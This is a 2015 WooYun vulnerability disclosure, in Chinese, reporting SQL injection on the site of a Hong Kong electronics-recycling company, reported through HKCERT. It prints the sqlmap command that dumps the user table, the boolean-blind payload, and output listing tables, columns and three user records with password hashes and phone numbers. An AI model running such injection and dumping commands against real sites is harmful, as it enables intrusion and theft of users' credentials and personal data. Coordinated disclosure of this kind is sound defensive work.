当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156584

漏洞标题：亞K電子五金環保回收公司主站存在SQL注入漏洞（可获得用户密码）（香港地區）

相关厂商：亞K電子五金環保回收公司

漏洞作者： 路人甲

提交时间：2015-12-01 11:25

修复时间：2016-01-15 16:08

公开时间：2016-01-15 16:08

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-01： 细节已通知厂商并且等待厂商处理中
2015-12-01： 厂商已经确认，细节仅向厂商公开
2015-12-11： 细节向核心白帽子及相关领域专家公开
2015-12-21： 细节向普通白帽子公开
2015-12-31： 细节向实习白帽子公开
2016-01-15： 细节向公众公开

简要描述：

亞K電子五金環保回收公司,主要為客戶提供：環保回收|五金回收|電子回收|回收電子零件等服務，我們是家經驗豐富的環保回收公司,成立於2001年, 資料已在香港環保署登記,我們亦是香港環保回收再造總商會的會員，主要從事個人和國內外廠商積壓之電子零件，各項存貨，成品或半成品廢料,估價上門回收，清拆處理。提供存貨或廢料買賣,處理個人及公司廢棄物品或設備,機密文件,電子及機械設備銷毀或打碎等服務。另外,我們還為廠商不售市面之產品,提供專業銷毀破壞並回收,流程清晰，而且出具相關證明與圖片,一站式的環保服務將值得您的信賴與合作.

详细说明：

地址："http://**.**.**.**/news_show.asp?nid=336

$ python sqlmap.py -u "http://**.**.**.**/news_show.asp?nid=336" -p nid --technique=B --random-agent --batch  -T '`user`' -C username,password,phone,email --dump

漏洞证明：

---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=336 AND 1204=1204
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
current user:	None
current user is DBA:	None
Database: Microsoft_Access_masterdb
+----------+---------+
| Table    | Entries |
+----------+---------+
| product  | 23      |
| email    | 7       |
| `user`   | 4       |
| vote     | 3       |
| job      | 2       |
| config   | 1       |
| download | 1       |
| main     | 1       |
+----------+---------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=336 AND 1204=1204
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=336 AND 1204=1204
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
Table: user
[11 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email    | non-numeric |
| homepage | non-numeric |
| logins   | numeric     |
| num      | numeric     |
| password | non-numeric |
| phone    | numeric     |
| picurl   | non-numeric |
| question | non-numeric |
| userid   | numeric     |
| username | non-numeric |
| zip      | non-numeric |
+----------+-------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=336 AND 1204=1204
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
Table: user
[3 entries]
+--------+--------+------------+--------+--------+----------+----------+----------+------------------+-------------------+-----------------+
| userid | zip    | num        | logins | picurl | username | question | homepage | password         | phone             | email           |
+--------+--------+------------+--------+--------+----------+----------+----------+------------------+-------------------+-----------------+
| 6      | 510000 | 1000000000 | 0      | NULL   | chen123  | NULL     | qq       | 965eb72c92a549dd | +86-0754-55775577 | [email protected]       |
| 29     | fff    | 1000000000 | 0      | NULL   | fff      | <blank>  | ffff     | bbce2345d7772b06 | 222222424         | fffff@**.**.**.**   |
| 28     | 510000 | 1000000000 | 0      | NULL   | test     | <blank>  | 122344   | ac59075b964b0715 | 88888             | myemail@**.**.**.** |
+--------+--------+------------+--------+--------+----------+----------+----------+------------------+-------------------+-----------------+

修复方案：

上WAF。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-12-01 16:06

厂商回复：

Referred to related parties.

最新状态：

暂无